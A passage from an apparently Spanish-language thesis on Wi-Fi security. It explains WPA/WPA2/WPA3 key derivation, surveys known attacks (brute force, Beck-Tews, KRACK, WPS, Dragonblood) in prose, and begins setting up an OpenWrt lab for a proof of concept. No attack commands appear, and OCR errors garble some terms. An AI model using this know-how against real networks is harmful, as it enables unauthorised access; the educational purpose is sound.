se sigue utilizando una clave compartida PSK (WPA-Personal). Sin embargo, esta clave
compartida no se utiliza de forma tan simple con en WEP (vector de inicializacion mas la clave
raiz para generar el cifrado), ya que sirve para derivar diferentes claves de sesion en cada
asociacion establecida. De esta manera se consigue que cada asociacion entre una STA y un
AP tengan sus propias claves independientemente de otro par STA y AP de la misma red.
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¢, COmo se generan de manera dinamica estas claves? Pues bien, la respuesta viene de la mano
del algoritmo PBKDF2, el cual es el encargado de generar la clave PSK basandose en una clave
de entre 8 y 63 caracteres. Este algoritmo utiliza 5 parametros:

Clave o passphrase, que es la clave que se establece en el AP por parte del
administrador.

SSID

Longitud del SSID

Profundidad de procesamiento, que se refiere al nimero de veces que el passphrase sera
codificado (4096 hashes). Se lleva a cabo con el algoritmo criptografico HMAC-MDS5,
dificultando los ataques de fuerza bruta.

Longitud clave PSK (256 bits)

Por lo tanto, la clave PSK se puede formular como:

PSK = PBKDF2 (Passphrase, SSID, Longitud SSID, 4096, 256)

Como resultado, se obtiene una clave de 256 bits.

Veamos cémo se lleva a cabo la asociacion entre una estacion y un punto de acceso con WPA:

La estacion identifica mediante las tramas de baliza (beacon) la red a la que se quiere
conectar. Obtiene informacibn como el BSSID, velocidad, sistema de seguridad
soportado, etc. Estas tramas tienen diferentes campos (denominados IE), entre ellos esta
el RSN, el cual indica que soporta WPA, asi como los algoritmos de autenticacion y de
cifrado.

Se realiza una autenticacion, pero a través del sistema OSA (se abandona el sistema
SKA usado en WEP). En la trama de gestion se incluye el IE RSN con el algoritmo y
cifrado a utilizar. Aqui se determina si se escoge WPA-PSK o WPA-802.1X.

Se establece la clave maestra (PMK) entre la STA y AP de 256 bits. En el caso de WPA-
PSK, la clave maestra es directamente la PSK. Sies WPA-802.1X, se dispara el protocolo
EAP para obtener la autenticacién. Se obtiene una clave maestra de sesiéon (MSK) de
512 bits. Los primeros 256 bits compondran la PMK en este caso.

Se finaliza la autenticacién con la negociacién en 4 pasos (4-way handshake). Esta
negociacion verifica que la STA y el AP han obtenido la clave PMK, comprobando su
autenticidad. También se obtiene una clave entre ellos (PTK) de 512 bits, de la cual los
Gltimos 256 bits de esta clave sera la clave temporal (TK) usada para cifrar las tramas.
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En el siguiente esquema podemos ver como funciona el proceso 4-way handshake y como se
generan las claves temporales:

AP

ANonce - s
" - STA

Construccion
de PTK

SNonce + MIC

i
<

Construccion
de PTK

GTK + MIC

Y

ACK

A

llustracion 23 4-way handshake

Estos mensajes son enviados en un tipo de trama denominado EAPOL-key. En el proceso se
generan una serie de claves temporales de sesion:

1 PTK: Utilizada para el cifrado de paquetes de datos entre el AP y la STA autenticada, una

vez obtenido el ACK. Son generadas en cada paguete intercambiado entre AP y STA
dindmicamente gracias al PSK. Para la generacion del PTK se utiliza: PMK (o el PSK
para WPA-PSK) generado por parte del AP como de la STA, ANonce, SNonce, MAC del
AP y MAC de la STA.

GTK: Utilizada para el cifrado de paquetes de tipo multicast. Si cambia el GTK (porque
una STA salga de la red, por ejemplo), se realiza una negociacion denominada Group
Key Handshake” entre el AP y las STA.

MIC hace referencia al mecanismo de integridad utilizado, el cual sustituye al anterior sistema
CRC32. Lo veremos al definir el sistema de cifrado TKIP.

Analizando el diagrama anterior, los pasos seguidos serian los siguientes:

A.

B.

Envio de un valor pseudo-aleatorio ANonce (Authenticated nonce) desde el AP a la STA.
Este valor va en texto claro y es necesario para derivar el PTK para esta sesion.

La STA, conociendo la PSK y el ANonce recibido, genera un SNonce (Supplicant Nonce),
el cual es enviado al AP firmando el mensaje con MIC. Con este dato se podra derivar el
PTK.

Por parte del AP se genera el PTK y comprueba el MIC. Cifra la clave GTK con el PTK y
lo envia a la STA. De esta manera podra cifrar el trafico multicast.

La STA envia la confirmacién (ACK) de implantacion de claves de sesion. Las claves
tienen un tiempo de caducidad, por lo que serd necesario llevar a cabo una re-
autenticacion cada cierto tiempo.

Como hemos comentado, para el caso de WPA-802.1X se utiliza autenticacion EAP. Los mas
utilizados son:
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- EAP-TLS: La comunicacion con el servidor de autenticacion estad protegida por el
protocolo TLS, con autenticacion mutua mediante certificados cliente/servidor.

- EAP-TTLS: Simplificacion del método anterior sin certificado cliente.

- PEAP: Encapsula la autenticacion cliente dentro de la autenticacion servidor.

En WPA-802.1X, la generacion de MSK se realiza con los siguientes métodos:

- EAP-MDS5: Método reto-respuesta. La respuesta esta formada por un hash (con MD5) de
la cadena que contiene la contrasefia cliente y el reto.

- EAP-MSCHAPvV2: Utiliza el protocolo de Microsoft MSCHAPV2.

- EAP-GTC: Método reto-respuesta, pero la respuesta se genera mediante un dispositivo
fisico (tarjeta con chip).

En las redes corporativas, EAP nos permite gestionar tres aspectos muy importantes (AAA):

e Authentication (Autenticacion): el intercambio de credenciales de manera mutua,
demostrando su identidad el uno con el otro.

e Authorization (Autorizacion): autorizacién al uso de los recursos que puede utilizar el
cliente.

e Accounting (Contabilidad): registro de los recursos usados por el cliente, a modo de
monitorizacion.

El servicio mas utilizado para esta gestion es RADIUS, el cual esta disponible para los diferentes
métodos EAP.

Authenticator 2 Authentication server
RADIUS / Diameter

Supplicant

Internet or other LAN resources

llustracion 24 Autenticacion con RADIUS. Fuente: wikipedia

Indicar que debido a la compatibilidad requerida con los sistemas que implementan WEP, se
sigue utilizando RC4 y MD5 para el cifrado y autenticacion de la negociacién 4-way handshake.

Desde el punto de vista criptogréfico, el sistema utilizado se denomina TKIP. Este nuevo
esquema ofrece una serie de ventajas respecto al cifrado utilizado en WEP:

% Ya no se utiliza una parte variable (IV) y una parte fija (clave) para cifrar las tramas, sino
gue se genera una clave nueva para cada trama cifrada.
* No se utiliza el codigo ICV, sino que se incorpora el cédigo MIC que es calculado a partir

de una clave secreta. Evita ataques tipo “chopchop”. Adicionalmente el cédigo MIC
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también incluye direcciones MAC, tanto de origen como destino, evitando ataques de
inyeccion.

% Se incluye un contador de secuencia de 48 bits (TSC), con la idea de evitar ataques de

repeticion.

A continuacién, mostramos un diagrama para entender como se genera una trama cifrada con

TKIP:

SA, DA, Prioridad y"

- K 1A " Tse | mic ~ Campodedatos |
3 Funcién
Criptografica |« Michael
Fase 1
TTAK
Campo de datos-.
y MiC 3
v 3
Funcion Fragmentos 2
4 ———»Criptografica < » (sies |
Fase 2 necesario)
v Clave

RCa /

Procesamiento WEP

v

Trama Cifrada

llustracion 25 Trama cifrada TKIP

Se describe a continuacion el proceso:

1)

2)

3)

4)

Generacion del codigo MIC mediante el algoritmo Michael (funcién hash), el cual recibe
las entradas:
a) Info de la trama: MAC destino (DA), MAC arigen (SA), prioridad y campo de datos.
b) Clave MIC de 64 bits. Se utilizan dos claves diferentes, para las tramas de AP a
STA los bits 128-191 de la clave TK, y para las tramas de STA a AP los bits 192-
255 de TK.
Si hace falta, se realiza la fragmentacién de trama, afiadiendo el codigo MIC y asignando
un contador TSC diferente a cada fragmento.
Funcion criptogréafica Fase 1, la cual recibe como entrada:
a) Clave temporal (TK). Esta se obtiene en el proceso 4-way handshake.
b) TA, que es la direccion MAC de la STA transmisora.
¢) Contador TSC. Se utilizan los 24 bits de més peso del TSC.

Como resultado tenemos TTAK, de 80 bits.

Funcion criptogréafica Fase 2, en este caso se reciben las entradas:
a) TTAK (de la Fase 1)
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5)

b) TK (misma que se utilizé en Fase 1)
c) Contador TSC. En este caso se utilizan los 24 bits de menos peso de TSC.

Como resultado, obtenemos una clave de cifrado RC4 (128 bits) con un IV de 24 bits y
clave raiz de 104 bits. Esta clave raiz es diferente para cada trama, por lo que se consigue
evitar ataques estadisticos como los utilizados en WEP. El IV se forma de la siguiente
manera:

- Byte 1y 3 se copian de los 16 bits de menos peso de TSC

- Byte 2 se deriva del primer byte
Se procede a realizar el cifrado de la misma manera que en WEP, obteniendo la trama
cifrada.

La estructura de la trama WPA serd la siguiente:

Cifrado
IVIKey ID |Extended IV Datos MIC (MO-M7) ICV
4 bytes 4 bytes 0-2292 bytes 8 bytes 4 bytes

llustracién 26 Trama WPA

Donde:
IV / Key ID Extended IV
WEP Reserve| EXT
TSC1 S TSCO d =1 | KeyID TSC2 | TSC3 | TSC4 | TSC5
8bits  8bits  8bits  5bits  1bit 2 bits 8bits  8bits 8bits 8 bits
llustracion 27 Campos IV/Key ID y Extended IV
1 Los primeros 4 bytes sirven para identificar el IV (los primeros 3 bytes) y 1 bit de extensién
indicando que hay un campo adicional.
1 Los siguientes 4 bytes incluyen el resto de bytes del TSC
1 Hasta 2292 bytes de datos, junto con los 8 bytes para MIC y 4 bytes de ICV, todos ellos
cifrados.
7.4.- Vulnerabilidades en WPA

A continuacion, se detallan las vulnerabilidades detectadas en el sistema WPA.

7.4.1.- Ataque de fuerza bruta

El uso de una clave sencilla o de diccionario en el AP podria ocasionar la ruptura de WPA por
ataque de fuerza bruta. Obteniendo las tramas de una negociacion durante el proceso 4-way
handshake (bastaria con 2 de las 4 tramas, donde irian el Anonce y Snonce), o forzando la
negociacioén con una de-autenticacion (se vera mas adelante durante la prueba de concepto), se
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iria probando las palabras de un diccionario hasta averiguar si las claves que se derivan coinciden
con el contenido cifrado y autenticado de las tramas capturadas.

7.4.2.- Beck-Tews

Este ataque llevado a cabo en 2008 por Martin Beck y Erik Tews, se aprovecha de una
vulnerabilidad de TKIP, al permitir al atacante desencriptar paquetes ARP e inyectar trafico en
red, llegando incluso a realizar un ataque de denegacion de servicio (DoS) o envenenamiento
ARP. El ataque se basa en usar un canal o cola QoS diferente de donde fue recibido el paquete,
consiguiendo descifrar paquetes ARP en menos de 15 minutos. El ataque se realiza de la
siguiente manera:

- El atacante realiza un proceso de de-autenticacion contra un STA.

- Procede arealizar una captura de paquetes ARP.

- Lleva a cabo una modificacion del ataque “chopchop” para recuperar el ICV y el MIC.

- Cuando lo tiene, el atacante tendra que adivinar la Ultima parte del paquete: la direccion
IP. Eventualmente se revierte el algoritmo Michael para obtener la clave MIC.

- Conociendo el keystream y la clave MIC, el atacante podra inyectar paquetes modificados
en la red, pero s6lo en los canales con menor TSC.

7.4.3.- Ohigashi-Morii

Un afio mas tarde, en 2009, se lleva a cabo una mejora del ataque Beck-Tews, consiguiendo
bajar el tiempo necesario para inyectar paquetes de 15 minutos a 60 segundos. Para ello se
sirven de aplicar el ataque Man-in-the-middle junto con Beck-Tews, asi como algunas otras
técnicas que reducen los tiempos del ataque.

7.4.4.- Ataque al algoritmo Michael

En 2010, Beck encontré la forma de realizar un ataque basado en los defectos del algoritmo
Michael. Detectd que, si un estado interno de Michael alcanza un cierto punto, el algoritmo se
resetea. Por tanto, podria inyectar algun texto de su eleccién en un paquete, afladir una cadena
gue resetee el algoritmo, luego el paquete se cambiaria, pero el resultado del algoritmo se
mantendria en estado correcto. Sin embargo, los requerimientos para poder llevar a cabo este
tipo de atagues son muy estrictos, por lo que simplemente desactivando QoS haria imposible el
ataque.

7.4.5.- Vulnerabilidad Hole196

Esta vulnerabilidad se debe a que cualquier usuario legitimo de la red puede construir y hacer
broadcast con paquetes falsos con el GTK. Basicamente es un ataque tipo Man-in-the-middle.
Consiste en enviar una peticion ARP con la MAC del atacante y la direccion IP del punto de
acceso. Los otros clientes actualizardn su tabla ARP y enviardn sus paquetes a la MAC del
atacante. De modo que el atacante recibir4 los paquetes desencriptados por el AP y lo re-
encriptara con su clave, permitiendo también el poder leer los paquetes.
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7.4.6.- WPS

Wi-Fi Protected Setup (WPS) es un mecanismo de ayuda para la configuracion de los clientes a
la hora de conectarse a un AP con WPA-PSK, evitando tener que introducir la clave de acceso.
En si no es una vulnerabilidad de WPA, pero si que surgi6é con este protocolo. La activacién de
este sistema (de manera manual) permite la autenticacién e intercambio de la clave WPA-PSK
entre el AP y el STA. Se basa en un pin de 8 digitos, que esta estructurado en 7 digitos mas 1
de control:

1 2 3 4 ) 6 7 0
12 Parte 22 Parte CHK

llustracion 28 WPS

Como vemos, esté dividido en dos partes, y se validan de forma independiente por parte del AP.
De este modo, tenemos un espacio de claves de 10000 para la primera parte y de 1000 para la
segunda (11000 en total), lo cual permitiria aplicar un ataque de fuerza bruta para romper el
sistema. Adicionalmente muchos fabricantes aplican valores por defecto, facilitando asi el
ataque.

7.5.- WPA2

Debido a la urgencia por implantar un sistema que solventara las vulnerabilidades de WEP, y sin
estar aun implantado al completo las mejoras de 802.11i, se public6 WPA, con ciertas
vulnerabilidades como ya hemos visto (TKIP basado en RC4) y la falta de cifrados mas
avanzados. En 2004 aparece una version mejorada de WPA, la cual implanta al completo la
seguridad especificada en 802.11i, denominada WPAZ2. Esta versién mantiene la compatibilidad
con WPA. WPAZ2 aporta dos nuevos cambios:

- Establece mecanismos para realizar pre-autenticaciéon y almacenamiento de PMK,
facilitando y agilizando la pre-autenticacion de una STA durante el roaming.

- Nuevo algoritmo de cifrado (CCMP) basado en AES-128 (dejando atras el RC4). Mucho
mas seguro, pero también mas complejo de implantar.

Ala hora de llevar a cabo el proceso 4-way handshake también se utiliza el cifrado AES, y HMAC-
SHAL para autenticacion de mensajes (sustituyendo a HMAC-MD5).

El cifrado CCMP utiliza el modo de operacién CBC (Cipher Block Chaining), el cual genera
bloques de datos aplicando la operacion XOR con el bloque anterior cifrado, creando una
dependencia de cada bloque con su anterior. El primer blogue es el Gnico que requiere de un IV
para su cifrado:
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Plaintext Plaintext Plaintext
[TTTTTI [TTTTTT [TTTTTI
Initialization Vector (IV)
[T II1 . Ty s -

L T L

Elack Cipher Black Cipher Block Cipher

Eey *|  Encryption Key *|  Encryption Key *|  Encryption
¥ ¥ ¥

[TTTTT1T1] [TTTTT1 N

Ciphertext Ciphertext Ciphertext

Cipher Block Chaining (CBC) mode encryption

llustracion 29 Encriptacion CBC. Fuente: wikipedia

Este método requiere dividir las tramas en bloques de 128 bits, por lo que si un mensaje tiene
mayor longitud, serd dividido en bloques de 128 bits y posteriormente serd necesario
encadenarlos. Este cifrado es secuencial (dependencia con el anterior bloque), por lo que no
permite paralelizar el cifrado/descifrado. Esto da lugar a un incremento en los tiempos de
operacion.

Como alternativa a CCMP existe GCMP, que también utiliza el algoritmo AES, pero con un modo
de operacién mas eficiente, ya que cada blogue puede procesarse de manera independiente,
permitiendo el paralelismo que no tiene CCMP. Sin embargo, este sistema requiere nuevo
hardware, por lo que los fabricantes se ven obligados a incorporar nuevos chipsets a los
dispositivos.

7.6.- Vulnerabilidades en WPAZ2

El uso de WPA2-PSK también arrastras las vulnerabilidades de fuerza bruta ya vistas para WPA,
ademés de la vulnerabilidad WPS.

7.6.1.- Ataque KRACK

En 2017, los investigadores Mathy Vanhoef y Frank Piessens descubren diversas
vulnerabilidades criticas que afectan tanto a WPA como a WPA2. La explotacion de estas
vulnerabilidades permitiria tanto descifrar el trafico de red como inyectar trafico modificado (pero
no permiten obtener la clave de red ni las claves de sesion). Afecta tanto a las versiones
personales como corporativas (EAP), y no solo a los AP, sino también a las STA (principalmente
a Android y Linux).

El nombre del ataque proviene de Key Reinstallation Atacks, y se basa en la carencia de control
del estado de autenticacion entre el AP y STA. La vulnerabilidad permite forzar el
restablecimiento de las claves de cifrado de la sesion entre AP y STA (denominado re-instalacion
de claves de sesion). Este proceso se produce durante el 4-way handshake, y se lleva a cabo
cada cierto tiempo o al realizar roaming. Durante este proceso de reinstalacién, se reinician los
contadores de indice “nonce”, permitiendo volver a utilizar estos valores. El fallo detectado es
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gue no existe proteccion para reutilizar una clave de sesién ya usada, o incluso la reinstalacion
de clave tipo null (sin cifrado). Esto daria pie al reinicio de los nonce o 1V, repitiendo el mismo
cifrado que en la sesién anterior. Por tanto, la capacidad de que un nonce solo pueda ser utilizado
una vez por cada clave de cifrado, se pierde.

Si se fuerza la reinstalacion de clave de manera continuada, siempre se usara el mismo cifrado
en cada paquete, lo que permitiria al final averiguar el cifrado usado.

Para explotar esta vulnerabilidad se debe interceptar el tercer mensaje del proceso 4-way
handshake y re-enviarlo de manera constante para reinstalar una misma clave de sesion, de
manera que el cuarto mensaje queda capturado para enviarlo al AP cuando se estime oportuno:

ANonce -
g F ) STA

Construccion
de PTK

SMonce + MIC

F 3

Construccion
de PTK

GTK + MIC

ACK

)
<

llustracion 30 Tercer mensaje afectado

Muchos proveedores ya han liberado parches que corrigen esta vulnerabilidad, evitando que se
reinicien los contadores de secuencia IV cada vez que se lleva a cabo una reinstalacion de clave
instalada previamente, o impidiendo reutilizar una clave ya usada.

7.7.- WPA3

Como hemos podido ver en el anterior punto, tras 14 afios de tranquilidad con WPA2, esta se ve
truncada ante la posibilidad del ataque KRACK. Debido a esto, la Wi-Fi Alliance se ve obligada
a lanzar en 2018 una serie de mejoras que se ven reflejadas en WPA3. Aparece en dos
modalidades: WPA3-Personal y WPA3-Enterprise. Entre las mejoras propuestas tenemos:

- Proteccion robusta a ataques de diccionario (incluso con contrasefias débiles).

- Facilidad de configuracién con dispositivos tipo IoT.

- Privacidad en navegacion de redes abiertas.

- Incremento en el tamafio de las claves, 128 bits para WPA3-Personal y 192 bits para
WP3-Enterprise.

Para conseguir una proteccion robusta a ataques de diccionario se ha implementado el protocolo

Simultaneous Authentication of Equals (SAE) handshake, sustituyendo a la autenticacion PSK.

Es una variante del handshake Drangonfly, el cual es resistente a ataques de tipo diccionario

offline. De esta manera, si un atacante consiguiera la clave de red, no podria descifrar trafico

capturado previamente, como ya hemos visto que pasaba en WPA2 al obtener la clave de sesion.

Esto implica también que ya no es un requisito tener una contrasefa fuerte, por lo que seria mas
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facil de recordar por parte de los usuarios. Con el protocolo SAE se realiza un intercambio de
claves autenticadas por contrasefia haciendo uso de una prueba de conocimiento cero (cada
lado de la comunicacién tiene que probar que conoce la contrasefia, sin exponer la contrasefia
o parte derivada de ella). De este modo se consigue que un atacante no pueda presenciar ningin
tipo de intercambio ni realizar en modo offline una decodificacion.

Veamos cémo funciona la autenticacion con el protocolo SAE:

Alice Bob

Password: Freibier 8 8 Password: Freibier

Derivation of the Password Element
base = H{max(Alice,Bob) | min(Alice,Bob) | password | counter)
n = len(p) + 64

Derivation of the Password Element

base = H{max(Alice,Bob) | min{Alice, Bob) | password | counter)
temp = KDF-n(base, “Dragonfly Hunting and Pecking®) n= len(p) + 64
seed = (lempmod (p- 1))+ 1

temp = KDF-n(base, "Dragonfly Hunting and Pecking™)
seed = (temp mod (p - 1)) + 1

Commit Message Commit Message

[ Commit
scalar = (private + mask) modulo q
Element = inverse(scalar-op(mask, PE)

= (private + mask) modulo q < Scalar + Element
Generate shared secret Generate shared secret

E»emem inverse(scalar-op{mask, PE)
ss = F(scalar-op(private, element-op(peer-Element, scalar- ss = F(scalar-op(private, elemeni-op{peer-Element, scalar-
op(peer-scalar, PE)))) op(peer-scalar, PE)))

Kek | mk = KDF-n(ss, "Dragonfly Key Derivation”)

kck | mk = KDF-n(ss, "Dragonfly Key Derivation®)

Confirm Message

Confirm Message
[ Contemn
confirm = H(kck | scalar | peer-scalar | confirm = H(kek | scalar | peer-scalar
Element | Peer-Element | <sender-id>) < el Element | Péer—EllemenH <aender—h‘.l>l}
~onfim

four-way handshake Four Way Handshake four-way handshake

PMK with SS instead of PSK < > PMK with 5SS instead of PSK

llustracion 31 Protocolo SAE. Fuente: blog.compass-security.com

Ahora las claves PMK son derivadas de PE (Password Element), la cual es resultante de una
autenticacion satisfactoria con SAE. Durante la autenticacion con SAE, la clave nunca sera
transmitida. Es por ello que la clave PMK utilizada durante el 4-way handshake deberia ser lo
suficientemente fuerte criptograficamente para resistir un ataque cracking offline.

Para las redes WPAS3-Enterprise, se ha introducido una nueva opcion de configuracion definida
por la NSA (National Security Agency), denominada CNSA (Commercial National Security
Algorithm), que establece un conjunto de algoritmos criptograficos con un nivel de proteccién
similar (SHA384, curva eliptica p384, AES-GCM-256) y con el método EAP-TLS. De esta forma
se asegura que no haya errores de configuracion, dado que no es posible combinar algoritmos
de forma insegura.

Otra mejora es el uso de Protected Management Frames (PMF), aportando proteccion a las
tramas de gestion unicast y multicast. Aunque PMF ya estaba disponible en WPA2, no era de
uso obligatorio. Ahora en WPAS3 si es obligatorio, con lo que se obtiene un nivel de proteccion
mayor contra ataques de de-autenticacion.

De cara a facilitar la configuracion de los dispositivos para conectarse a la red, sobre todo para
dispositivos tipo 10T, Wi-Fi Alliance ha desarrollado lo que se conoce como Easy Connect.
Haciendo uso del protocolo DDP (Device Provisioning Protocol), permitiria habilitar el acceso de
un dispositivo a la red simplemente escaneando su cédigo QR. Se establece una relacion entre
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dispositivo configurador y dispositivo suscriptor, a través de una conexion segura utilizando
criptografia de clave publica.

La privacidad en redes abiertas se realiza mediante Wi-Fi Enhanced Open, que se basa en OWE
(Opportunistic Wireless Encryption), proporcionando mecanismos de cifrado de manera
individual a cada usuario, protegiendo el tréfico entre STAy AP.

Tanto el Wi-Fi Easy Connect como el Wi-Fi Enhanced Open son programas adicionales a la
propia certificacion WPA3, por lo que no es obligatorio su cumplimiento para que un dispositivo
sea certificado como WPA3.

7.8.- Vulnerabilidades en WPA3

Parece que nada es perfecto, y tampoco lo es WPA3. El equipo de Dragonblood (Mathy Vanhoef
y Eyal Ronen) han detectado y publicado errores en este nuevo protocolo que permitirian
recuperar datos encriptados (clave de red, contrasefias, usuarios, etc...) o incluso suplantar la
identidad de un usuario legitimo en la red, pudiendo acceder a la red sin conocer la clave.

7.8.1.- Ataque por degradacion

De cara a permitir una compatibilidad entre WPA3 y WPA2, de manera que el cambio fuese
gradual, se ha disefiado un modo denominado “transicional”, permitiendo soporte tanto a WPA3
como WPA2 a la vez. Este modo permitiria a un atacante forzar a un cliente para utilizar el
anterior sistema 4-way handshake de WPA2, y por tanto, aprovechar los ataques ya conocidos.
Esto lleva a que la red protegida por WPA3 se convierta en una red WPA2.

También se ha detectado otro tipo de ataque downgrade, pero esta vez centrado en el handshake
de Dragonfly, ya que es posible forzar a los clientes para utilizar una curva eliptica mas débil
(descartando la mas robusta), facilitando asi la posibilidad de hackear la conexion.

7.8.2.- Ataques side-channel

Este tipo de ataques se centra en el handshake de WPA3 y se aprovecha del método de
codificacién utilizado para la contrasefia. Existen dos tipos de ataque dentro de esta modalidad:

- Side-channel basado en caché

Teniendo en cuenta que el algoritmo de codificacion de contrasefias usado por Drangonfly
(hash-to-curve) utiliza ramificaciones condicionales, si un atacante descubriese la rama
I6gica que llevo a la generacion del codigo, podria averiguar si la contrasefia esta en una
iteracion concreta del algoritmo. Existe un codigo CVE para dicha vulnerabilidad: CVE-
2019-9494.

- Side-channel basado en timing

El algoritmo de codificacion de contrasefias (hash-to-group) utiliza un ndmero de
iteraciones variable, y depende de la direccion MAC del AP y de la direccion MAC del
STA. Se podria determinar el nUmero de iteraciones utilizadas llevando a cabo un ataque
por timing remoto contra el algoritmo de codificacion. Con esta informacion se podria
realizar un ataque de tipo diccionario, denominado ataque por particionado a la
contrasena.
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Ambos ataques son eficientes y muy econodmicos (utilizando por ejemplo instancias EC2 de
AWS).

7.8.3.- Ataques por denegaciéon de servicio

A través de spoofing de multiples direcciones MAC se puede llegar a saturar el AP, provocando
denegacion de servicio.
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8.- Prueba de Concepto

Una vez analizados los diferentes protocolos y cifrados utilizados en las redes Wi-Fi, llevaremos
a cabo una serie de pruebas donde se pondra en practica algunas de las vulnerabilidades que
se han enumerado. Para poder realizar este tipo de pruebas se ha optado por montar un punto
de acceso con una Raspberry Pl y con el software OpenWrt. Se ha optado por este sistema para
poder crear escenarios lo mas reales posibles y con un presupuesto muy bajo.

8.1.- Montaje del laboratorio

Vamos a indicar los pasos seguidos para el montaje del laboratorio. El sistema OpenWrt permite
una amplia gama de configuraciones, pero debido a que nuestro principal foco es llevar a cabo
atagues que permitan aprovecharse de las vulnerabilidades indicadas, nos centraremos en
realizar una instalacion béasica y sencilla que nos permita poder crear el entorno deseado.

Lo primero sera descargar la imagen oficial para Raspberry Pi desde el siguiente enlace:

http://downloads.openwrt.org/releases/19.07.4/targets/brcm2708/bcm2709/openwrt-19.07.4-brcm2708-
bcm2709-rpi-2-ext4-factory.img.gz

Una vez descargada y descomprimida, la instalaremos en una tarjeta SD, desde un equipo con
sistema operativo linux (en este caso desde Kali):

dd bs=1M if=openwrt-19.07.4-brcm2708-bcm2709-rpi-2-extd-factory.img of=/dev/sda

Insertamos la tarjeta SD en la Raspberry Pi la conectamos a la corriente eléctrica con un cargador
(tendremos que conectar un monitor HDMI y un teclado la primera vez para poder configurarla,
asi como un cable ethernet para tener conexion a internet). Nos aparecera una pantalla como la
siguiente:

BusyBox v1.3@.1 () built-in shell (ash)

_|'|.'i'IF:ELEEE- FREEDOM

OpenWrt 19.87.4; rl1l1208-ceb496d796

llustracion 32 Pantalla de inicio OpenWrt

Configuramos la red para poder conectarnos a ella via ssh, para ello editamos el fichero
/etc/config/network, de modo que quede asi:
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config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1"'
option netmask '255.0.0.0'

config globals 'globals'
option ula prefix 'fd53:e9f0:64ca::/48"'

config interface 'lan'
option type 'bridge'
option ifname 'ethO'
option proto 'dhcp'
option ip6assign '60'

Basicamente le hemos indicado que para la interfaz ‘lan’ se configure con el protocolo dhcp, de
manera gue tome una direccion de red autométicamente. Una vez tenga asignada una direccién,
comprobaremos cual es para poder conectarnos via ssh y via web.

Cuando estemos conectados via ssh, realizaremos dos cosas:

- Cambiar las password de root (por defecto no trae password). Para ello, desde la consola
lanzamos passwd.

- Actualizar la paqueteria. Lanzamos el comando: opkg update

Ahora accederemos a su interface web: http://192.168.0.55

llustracion 33 Pantalla de login de OpenWrt

A la Raspberry Pi le hemos conectado un dongle Wi-Fi (TL-WN725N) que hara de antena Wi-Fi
de nuestro punto de acceso. Pero es necesario instalar el driver correspondiente para poder
utilizarlo. Hace wuso de un chipset rtl8188cus (https://wikidevi.com/wiki/TP-LINK_ TL-

WN725N_v1), que se puede instalar via CLI o desde la interfaz web. Si lo hacemos via CLI,
simplemente ejecutaremos:

opkg install kmod-rtl8192cu
reboot

O desde la interfaz web, accediendo a System -> Software:
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OpenWrt

Software

Free space:
94% (249.7 MB)
Filter Download and install package:
rig192cu Clear | | Package name or URL oK |[ upioad Package Gonfigure opkg.
Installed

Displaying 1-2 of 2
Package name Version Size (IpK) Description
rt18192cu-firmware 201904161
kmod-rtig192cu 414.195+4.19.137-1-2

Powered by LuCl openwrt-19.07 branch (git-20.247.75781-0d0ab01) / OpenWit 19.07.4 r11208-ce6496d796

llustracion 34 Instalacion de driver

Una vez instalado el driver, podremos configurar el punto de acceso. Para ello iremos a Network
-> Wireless:

Wireless Overview

Restar

Generic 802.11bg

Enadle

Associated Stations

Hetwork MAC-Address. Host Signal | Noise FOX e/ TX Rate

earch (g 20.247.75781-000abit) | Cipeeii 19.07.4 1112086649676

llustracion 35 Pantalla de Wireless

Y lo editaremos para cambiar el SSID y la seguridad:

Wireless Network: Master "OpenWrt” (radio0.network1)

Device Configuration

Status Mode: SSID: OpenWit
~dBm Wirales ssocialod
Wireless network i disabled [ Enable ]
Channel

Operating frequency | 11 (2462 Mhz) ~|

Maximum transmit power | driver dafaullt  +| - Current pawer: unknown

Specilies the maximum transmit power the wireless radio may use. Depending on regulatory requirements and
wireless usage, the actual transmit power may be reduced by the driver,

Interface Configuration

General Setup
Mode | Access Point E
ESSID | APTEST]

Notwork ~ [[lan: [ v

Choose the network(s) you want io attach (o this wireless interface or fll out the custom field to define a new
network,

Hide ESSID

WMM Mode g5

Dismiss
llustracion 36 Configuracion ESSID
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Interface Configuration

Gen Setu Wireless Security AC-
Encryption WPA2-PSK (strong security) -
Cipher auto -

Key sssesees .

802.11r Fast Transition
Enables fast roaming among access points that belong to the same Mobility Domain

802.11w Management Frame | Disabled -

Protection
Requires the full' version of wpad’hostapd and support from the wifi driver

(as of Jan 2019: ath9k, ath10k, mwlwifi and mt76)

Enable key reinstallation

(KRACK) countermeasures . . . . ) .
Complicates key reinstallation attacks on the client side by disabling retransmission of EAPOL-Key frames that

are used to install keys. This workaround might cause interoperability issues and reduced robustness of key
negotiation especially in environments with heavy traffic load.

Dismiss Save

llustracion 37 Configuracion Seguridad

Tras guardar los cambios, activaremos el AP:

Wireless Overview

Generic 802.11bg

2 radiol) Device is not active Restart
rgpT— SSID: APTEST | Mode: Master Enable
Interface has 3 pending changes
Associated Stations
Network MAC-Address Host Signal / Noise RX Rate / TX Rate

No information available

Powered by LuCl openwrt-19.07 branch (git-20.247.75781-0d0ab01) / OpenWrt 19.07.4 r11208-ce6496d736

llustracion 38 Punto de acceso desconectado

Wireless Overview

Generic 802.11bgn
Channel: 11 (2.462 GH2) | Bitrate: ? Mbit's

e SSID: APTEST | Mode: Master Disable
BSSID: 74:DA:38:6A:FC:EF | Encryption: WPA2 PSK (CCMP)

Associated Stations

Restart

@ radiol

Network MAC-Address Host Signal / Noise RX Rate / TX Rate

No information available

Pouwered by LuCl openwrt-19.07 branch (git-20.247.75781-0d0ab01) / OpenWirt 19.07.4 r11208-ce8496d796

llustraciéon 39 Punto de acceso conectado

Y haremos una prueba de conexion a este punto de acceso desde un cliente:
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Wireless Overview
Generic 802.11bgn Restart Scan
Channel: 11 2 462 Gz | Birates 54 Mt =

36 dBm

Associated Stations

Network MAC-Address Host Signal RX Rate / TX Rste

llustracion 40 Cliente conectado al punto de acceso

Ahora nos quedaria configurar el equipo que se utilizara en modo auditor y atacante (equipo con
SO Kali GNU/Linux Rolling version 2020.3). Para ello vamos a configurar una interfaz Wi-Fi ALFA
con un chipset Atheros AR9271, la cual debemos iniciarla en modo monitor. El modo monitor nos
permitira monitorizar el trafico 802.11 dentro de la zona de cobertura alcanzada por la antena,
ademas de inyectar paquetes. En nuestro caso, la interfaz conectada recibe el nombre wlanl.
Esta sera la interfaz padre a partir de la cual crearemos una interfaz virtual (mon0) la cual se
configurara en modo monitor. Vamos a establecer el canal 11 en dicha interfaz (mismo canal que
